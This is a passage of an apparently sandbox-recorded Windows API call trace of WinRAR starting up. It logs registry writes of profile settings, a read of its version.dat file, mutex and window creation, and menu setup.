lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.302] RegSetValueExW (in: hKey=0x218, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.302] RegCloseKey (hKey=0x218) returned 0x0 [0058.302] GetLastError () returned 0x0 [0058.302] SetLastError (dwErrCode=0x0) [0058.302] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.303] RegSetValueExW (in: hKey=0x218, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.303] RegCloseKey (hKey=0x218) returned 0x0 [0058.303] GetLastError () returned 0x0 [0058.303] SetLastError (dwErrCode=0x0) [0058.303] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.303] RegSetValueExW (in: hKey=0x218, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.303] RegCloseKey (hKey=0x218) returned 0x0 [0058.303] GetLastError () returned 0x0 [0058.303] SetLastError (dwErrCode=0x0) [0058.303] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.303] RegSetValueExW (in: hKey=0x218, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.303] RegCloseKey (hKey=0x218) returned 0x0 [0058.303] GetLastError () returned 0x0 [0058.303] SetLastError (dwErrCode=0x0) [0058.303] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.303] RegSetValueExW (in: hKey=0x218, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.303] RegCloseKey (hKey=0x218) returned 0x0 [0058.303] GetLastError () returned 0x0 [0058.303] SetLastError (dwErrCode=0x0) [0058.303] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.303] RegSetValueExW (in: hKey=0x218, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.303] RegCloseKey (hKey=0x218) returned 0x0 [0058.303] GetLastError () returned 0x0 [0058.303] SetLastError (dwErrCode=0x0) [0058.303] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.304] RegSetValueExW (in: hKey=0x218, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.304] RegCloseKey (hKey=0x218) returned 0x0 [0058.304] GetLastError () returned 0x0 [0058.304] SetLastError (dwErrCode=0x0) [0058.304] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.304] RegSetValueExW (in: hKey=0x218, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.304] RegCloseKey (hKey=0x218) returned 0x0 [0058.304] GetLastError () returned 0x0 [0058.304] SetLastError (dwErrCode=0x0) [0058.304] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.304] RegSetValueExW (in: hKey=0x218, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.304] RegCloseKey (hKey=0x218) returned 0x0 [0058.304] GetLastError () returned 0x0 [0058.304] SetLastError (dwErrCode=0x0) [0058.304] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.304] RegSetValueExW (in: hKey=0x218, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.304] RegCloseKey (hKey=0x218) returned 0x0 [0058.304] GetLastError () returned 0x0 [0058.304] SetLastError (dwErrCode=0x0) [0058.304] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.304] RegSetValueExW (in: hKey=0x218, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.304] RegCloseKey (hKey=0x218) returned 0x0 [0058.304] GetLastError () returned 0x0 [0058.305] SetLastError (dwErrCode=0x0) [0058.305] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.305] RegSetValueExW (in: hKey=0x218, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0058.305] RegCloseKey (hKey=0x218) returned 0x0 [0058.305] GetLastError () returned 0x0 [0058.305] SetLastError (dwErrCode=0x0) [0058.305] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.305] RegSetValueExW (in: hKey=0x218, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.305] RegCloseKey (hKey=0x218) returned 0x0 [0058.305] GetLastError () returned 0x0 [0058.305] SetLastError (dwErrCode=0x0) [0058.305] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.305] RegSetValueExW (in: hKey=0x218, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.305] RegCloseKey (hKey=0x218) returned 0x0 [0058.305] GetLastError () returned 0x0 [0058.305] SetLastError (dwErrCode=0x0) [0058.305] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.305] RegSetValueExW (in: hKey=0x218, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.305] RegCloseKey (hKey=0x218) returned 0x0 [0058.305] GetLastError () returned 0x0 [0058.305] SetLastError (dwErrCode=0x0) [0058.305] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.305] RegSetValueExW (in: hKey=0x218, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.305] RegCloseKey (hKey=0x218) returned 0x0 [0058.306] GetLastError () returned 0x0 [0058.306] SetLastError (dwErrCode=0x0) [0058.306] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.306] RegSetValueExW (in: hKey=0x218, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0xe414fb268*=0x0, cbData=0x8 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.306] RegCloseKey (hKey=0x218) returned 0x0 [0058.306] GetLastError () returned 0x0 [0058.306] SetLastError (dwErrCode=0x0) [0058.306] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.306] RegSetValueExW (in: hKey=0x218, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.306] RegCloseKey (hKey=0x218) returned 0x0 [0058.306] GetLastError () returned 0x0 [0058.306] SetLastError (dwErrCode=0x0) [0058.306] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.306] RegSetValueExW (in: hKey=0x218, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.306] RegCloseKey (hKey=0x218) returned 0x0 [0058.306] GetLastError () returned 0x0 [0058.306] SetLastError (dwErrCode=0x0) [0058.306] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.306] RegSetValueExW (in: hKey=0x218, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x4, cbData=0x4 | out: lpData=0xe414fb268*=0x4) returned 0x0 [0058.306] RegCloseKey (hKey=0x218) returned 0x0 [0058.306] GetLastError () returned 0x0 [0058.306] SetLastError (dwErrCode=0x0) [0058.306] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.306] RegSetValueExW (in: hKey=0x218, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.307] RegCloseKey (hKey=0x218) returned 0x0 [0058.307] GetLastError () returned 0x0 [0058.307] SetLastError (dwErrCode=0x0) [0058.307] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.307] RegSetValueExW (in: hKey=0x218, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.307] RegCloseKey (hKey=0x218) returned 0x0 [0058.307] GetLastError () returned 0x0 [0058.307] SetLastError (dwErrCode=0x0) [0058.307] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.307] RegSetValueExW (in: hKey=0x218, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.307] RegCloseKey (hKey=0x218) returned 0x0 [0058.307] GetLastError () returned 0x0 [0058.307] SetLastError (dwErrCode=0x0) [0058.307] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.307] RegSetValueExW (in: hKey=0x218, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.307] RegCloseKey (hKey=0x218) returned 0x0 [0058.307] GetLastError () returned 0x0 [0058.307] SetLastError (dwErrCode=0x0) [0058.307] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.307] RegSetValueExW (in: hKey=0x218, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.307] RegCloseKey (hKey=0x218) returned 0x0 [0058.307] GetLastError () returned 0x0 [0058.307] SetLastError (dwErrCode=0x0) [0058.307] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.308] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.308] RegCloseKey (hKey=0x218) returned 0x0 [0058.308] GetLastError () returned 0x0 [0058.308] SetLastError (dwErrCode=0x0) [0058.308] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.308] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.308] RegCloseKey (hKey=0x218) returned 0x0 [0058.308] GetLastError () returned 0x0 [0058.308] SetLastError (dwErrCode=0x0) [0058.308] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.308] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.308] RegCloseKey (hKey=0x218) returned 0x0 [0058.308] GetLastError () returned 0x0 [0058.308] SetLastError (dwErrCode=0x0) [0058.308] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.308] RegSetValueExW (in: hKey=0x218, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.308] RegCloseKey (hKey=0x218) returned 0x0 [0058.308] GetLastError () returned 0x0 [0058.308] SetLastError (dwErrCode=0x0) [0058.308] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x218, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.308] RegSetValueExW (in: hKey=0x218, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0xe414fb2a0*, cbData=0xc0 | out: lpData=0xe414fb2a0*) returned 0x0 [0058.308] RegCloseKey (hKey=0x218) returned 0x0 [0058.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe414fb974 | out: lpSystemTimeAsFileTime=0xe414fb974*(dwLowDateTime=0x9a5f2da8, dwHighDateTime=0x1d4e806)) [0058.309] GetLastError () returned 0x0 [0058.309] SetLastError (dwErrCode=0x0) [0058.309] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fac10 | out: phkResult=0xe414fac10*=0x218) returned 0x0 [0058.309] RegQueryValueExW (in: hKey=0x218, lpValueName="VerInfo", lpReserved=0x0, lpType=0xe414fb074, lpData=0xe414fb950, lpcbData=0xe414fb070*=0xc | out: lpType=0xe414fb074*=0x3, lpData=0xe414fb950*, lpcbData=0xe414fb070*=0xc) returned 0x0 [0058.309] RegCloseKey (hKey=0x218) returned 0x0 [0058.309] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fb8f0 | out: phkResult=0xe414fb8f0*=0x0) returned 0x2 [0058.309] SHGetMalloc (in: ppMalloc=0xe414fb890 | out: ppMalloc=0xe414fb890*=0x7ff92fcdf3f0) returned 0x0 [0058.309] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xe414fb8d8 | out: ppidl=0xe414fb8d8) returned 0x0 [0058.309] SHGetPathFromIDListW (in: pidl=0x1ec0a5bab50, pszPath=0xe414fb980 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0058.309] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0058.309] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1ec0a5bab50) [0058.309] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x58) returned 0x1ec0a5a00d0 [0058.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xe414fb768, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x218 [0058.310] GetFileType (hFile=0x218) returned 0x1 [0058.310] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0bfba2e0 [0058.310] ReadFile (in: hFile=0x218, lpBuffer=0x1ec0bfba2e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xe414fb7c8, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfba2e0*, lpNumberOfBytesRead=0xe414fb7c8*=0xc, lpOverlapped=0x0) returned 1 [0058.462] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfba2e0 | out: hHeap=0x1ec0a590000) returned 1 [0058.462] CloseHandle (hObject=0x218) returned 1 [0058.462] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="WinRAR_Busy") returned 0x218 [0058.462] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x10246 [0058.462] CreateWindowExW (dwExStyle=0x10, lpClassName="WinRarWindow", lpWindowName="WinRAR", dwStyle=0x6cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x1025a [0058.464] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08a [0058.464] NtdllDefWindowProc_W () returned 0x0 [0058.464] NtdllDefWindowProc_W () returned 0x1 [0058.466] NtdllDefWindowProc_W () returned 0x0 [0058.470] LoadMenuW (hInstance=0x7ff6f74d0000, lpMenuName="MAIN_MENU") returned 0x10260 [0058.474] GetMenuItemInfoW (in: hmenu=0x10260, item=0x0, fByPosition=1, lpmii=0xe414f99b0 | out: lpmii=0xe414f99b0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10260, item=0x0, fByPositon=1, lpmii=0xe414f99b0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x0, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0x0, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x1, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0x1, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x2, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0x2, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10264, item=0x0, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10264, item=0x1, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 0 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x3, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0x3, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x4, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x5, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0x5, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x6, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0x6, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x7, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0x7, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x8, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0x9, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0x9, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0xa, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0xa, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.474] GetMenuItemInfoW (in: hmenu=0x10262, item=0xb, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.474] SetMenuItemInfoW (hmenu=0x10262, item=0xb, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10262, item=0xc, 